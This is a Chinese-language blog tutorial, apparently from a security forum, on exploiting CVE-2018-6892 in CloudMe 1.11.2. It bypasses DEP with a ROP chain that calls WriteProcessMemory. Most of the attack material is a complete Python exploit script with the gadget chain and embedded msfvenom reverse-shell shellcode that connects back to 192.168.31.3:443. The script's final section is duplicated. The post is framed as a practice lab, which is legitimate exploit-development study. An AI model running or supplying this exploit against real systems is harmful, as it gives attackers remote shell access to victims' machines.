DEP绕过WriteProcessMemory练习 - CloudMe 1.11.2

0x0dee 2024-02-23 19:01:58

描述

  • 软件名称:CloudMe 1.11.2
  • CVE编号:CVE-2018-6892

  • 软件功能:文件同步

  • 漏洞类型:栈溢出任意代码执行

  • 利用防护:软件没有编译任何防御,手动开启DEP防护练习使用WirteProcessMemory API方式绕过DEP

  • 试验机Windows版本:Windows 10 (32bit) 1803 (Home)

本例中gadget非常丰富,每个gadget都很直观。使用pushad方式会更简便,并且模块导入表中导入了VirtualProtect API,使用导入表中的API不会失去利用兼容性。本文为练习目的所以使用了较复杂的方式去开发利用。

offset

image-20240222134333425.png * eip offset = 1052

  • esp offest = 1056

badchars

image-20240222140440893.png * 没有任何坏字符

ROP编写的三个主要准备工作

第一个准备:API地址

我们用来编写RoP的模块是Qt5Gui。我们可以在Qt5Gui模块的导入表中寻找一个与WirteProcessMemory API相同模块(kernel32.dll)的API去加减一个偏移去得到WirteProcessMemory的地址。这样做可能会失去利用的兼容性,因为kernel32.dll是windows中的模块,它会根据windows版本的不同而变化。

使用!dh -import Qt5Gui 查看Qt5Gui从kernel32中导入的导入表:

image-20240222140927111.png

在上图中可以发现VirtualProtect可以被利用用于绕过DEP,但是我们的目的是练习WirteProcessMemory API用来绕过DEP的方式,我们选择它加上一个偏移得到WirteProcessMemroy的地址。

使用ida查看kernel32.dll中WirteProcessMemory和VirtualProtect的地址:(无论kernel32被加载哪个地址,他们的偏移都是固定的,所以ida和windbg的地址不一样并不影响偏移的计算)
image-20240222133454843.png
image-20240222133555133.png
WirteProcessMemory位于VirtualProtect正向0x20340偏移位置:
image-20240222141339687.png
验证偏移位置是否正确:
image-20240222141439674.png
如下图VirtualProtect在导入表中的地址为0x6210b0b0,将它解引用后加上0x20340即可得到WirteProcessMemory的调用地址,这需要在RoP中动态计算。
image-20240223102130022.png

第二个准备:WirteProcessMemory需要一个可写的内存空间

如下图,使用!dh -s cloudme找一个可写的地址为WirteProcessMemory的*lpNumberOfBytesWritten参数做准备,因为该API需要一个指针去存放它的返回信息,并且若地址不可写会导致API调用失败。我们可以选择用RoP动态计算栈中的地址和使用数据段固定的可写地址两种方式,但第二种明显更简便。
image-20240222142538989.png
使用!address验证可写地址(PAGE_READWRITE):
image-20240222142601712.png
DEP机制会让shellcode不能在栈中运行,这打击了传统的在栈中运行shellcode的方式,DEP标记了栈空间为不可执行。

使用WirteProcessMemory去绕过DEP的核心原理就是利用WirteProcessMemory可以复制一块内存中的数据写入到进程中的代码段(.text)中的特性,通常代码段的权限是只有可读可执行权限的,而WirteProcessMemory可以忽略代码段的不可写权限将我们的shellcode复制进去,并且在执行完之后保持复制之前的权限(可读、可执行、不可写)。所以我们只需要找一个可执行的新地址为存放shellcode,并将这个地址传递给lpBaseAddress参数即可。

在windbg中使用!dh -s Qt5Gui寻找一个可执行可读的地址去存放调用WirteProcessMemory后使shellcode可执行的代码洞:
image-20240222202018589.png

PoC

下列代码的主要功能是使用RoP去构建WirteProcessMemory的调用结构,它被存放在取的esp的值时esp正向偏移0x100位置,rop代码的大小是0xe8,而shellcode在栈中的(复制前的)位置位于调用结构的0x44位置,调用结构一共4 * 7个字节,在shellcode与调用结构之间填充了一些“0x90”字节为了方便计算放置shellcode时的偏移。edx始终保存了调用结构的地址,将edx减去4 * 6个字节可以指向WirteProcessMemory的调用地址,最后一条gadget将esp指向这个地址,使用一条ret指令即可完成调用并且传递参数,在API返回时将直接运行具有可执行权限的shellcode。

调用结构如下:

条目名称或功能 条目值
call address of WriteProcessMemory function 由rop动态解引用导入表中的地址
返回地址,复制后可执行的shellcode地址 0x61e8dfc0,可执行的代码洞
hProcess,要写入数据的进程handle,-1表示当前进程 -1 (0xffffffff)
lpBaseAddress,需要写入的目的地址 0x61e8dfc0,可执行的代码洞
lpBuffer,复制的源地址,栈空间中的shellcode地址 由rop动态计算,距离取得esp值时调用结构的+0x44位置
nSize,复制的大小,shellcode的大小 0x190 (0n400)
[out] lpNumbelOfBytesWritten 0x61f8c000,可写的地址
#! /bin/python3

# cloudme 1.11.2

import os
import sys
import socket
from struct import pack

host = "127.0.0.1"
port = 8888

buffer = b''
# offset : eip = 1052, esp = 1056
# badchars : none 
offsetOfEIP = b"B" * 1052
rop = b""
# Using pushups instruction must ensure a 16-byte alignment.
#rop += pack("<L", 0x61f314a3) # pop ecx ; ret  ;  (1 found)
# A address in the data segment it is writable. 
#rop += pack("<L", 0x00659000)

### Constructing a Call_struct for calling WirteProcessMemory

## Wirte the address of WirteProcessMemory API
rop += pack("<L", 0x61e9806b) # push esp ; pop ebx ; pop esi ; ret  ;  (1 found)
rop += pack("<L", 0xffffffff) ## junk for pop esi

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)
# The address of VirtualProtect in improt table. 
rop += pack("<L", 0x6210b0b0) 

# Dereferencing the address of VirtualProtect in import table.
rop += pack("<L", 0x61efb705) # mov eax, dword [eax] ; ret  ;  (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret  ;  (1 found)
rop += pack("<L", 0x00020340)
# The VirtualProtect address in kernel32 add 0x20340 to get the WirteProcessMemroy call_address
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret  ;  (1 found)
# Saving the address of WriteProcessMemory
rop += pack("<L", 0x61b53a01) # xchg eax, edi ; ret  ;  (1 found)
# Retrieve the previously saved content of the ESP registier.           
rop += pack("<L", 0x61ec89de) # xchg eax, ebx ; ret  ;  (1 found)

rop += pack("<L", 0x61f314a3) # pop ecx ; ret  ;  (1 found)
rop += pack("<L", 0x00000100) ## call struct == esp + 0x100
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61b53a01) # xchg eax, edi ; ret  ;  (1 found)
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## Wirte return address == lpBaseAddress
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)

rop += pack("<L", 0x61e8dfc0) ## A address executable and readable, code cave
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## Wirte HProcess 
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)
rop += pack("<L", 0xffffffff) ## -1, current process
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## Wirte lpBaseAddress
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)
rop += pack("<L", 0x61e8dfc0) ## A address executable and readable, code cave
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## Wirte lpBuffer == shellcode address
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f314a3) # pop ecx ; ret  ;  (1 found)
rop += pack("<L", 0x00000040) ## shellcode address == call_strcut + 0x40 + 0x04 * 4
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret  ;  (1 found)

rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## nSize = shellcode size
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)
rop += pack("<L", 0x00000190) ## 0n400
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

## *lpNumberOfBytesWrittten
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61d6ecf3) # add eax, 0x04 ; ret  ;  (1 found)
rop += pack("<L", 0x61f2735a) # xchg eax, edx ; ret  ;  (1 found)

rop += pack("<L", 0x61f80db6) # pop eax ; ret  ;  (1 found)
rop += pack("<L", 0x61f8c000) ## A address writable and readable, data segment
rop += pack("<L", 0x61f2b1ed) # mov dword [edx], eax ; ret  ;  (1 found)

### call WirteProcessMemory
rop += pack("<L", 0x61eab311) # mov eax, edx ; ret  ;  (1 found)
rop += pack("<L", 0x61f314a3) # pop ecx ; ret  ;  (1 found)
rop += pack("<L", 0xffffffe8) ## 0n4*0n6 = 0n24 = 0x18
# Call_struct sub 0x18 bytes
rop += pack("<L", 0x61b91c1e) # add eax, ecx ; ret  ;  (1 found)


rop += pack("<L", 0x61ecb23e) # push eax ; pop esp ; rep ret  ;  (1 found)




buffer = offsetOfEIP + rop
# bash msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.3 LPORT=443 -f python   -v shellcode
# Payload size: 324 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x1f\x03\x68\x02\x00\x01"
shellcode += b"\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2"
shellcode += b"\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

# buffer + rop size = 1284 bytes (0x504)
# rop size = 232 bytes (0xe8)

print(len(rop))
print(hex(len(rop)))
offsetOfShellcode = b"\x90"  * ((0x140 + 4 * 4) + 0x10 - 0xe8)
buffer += offsetOfShellcode + shellcode


buffer += b"A" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
s.close()
# buffer + rop size = 1284 bytes (0x504)
# rop size = 232 bytes (0xe8)

print(len(rop))
print(hex(len(rop)))
offsetOfShellcode = b"\x90"  * ((0x140 + 4 * 4) + 0x10 - 0xe8)
buffer += offsetOfShellcode + shellcode


buffer += b"A" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
s.close()

(请勿用作非法目的)
(转载和使用任意内容请注明来源)

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

后门 文章:39 篇
木马与病毒 文章:125 篇
memcache安全 文章:1 篇
无线安全 文章:27 篇
业务安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录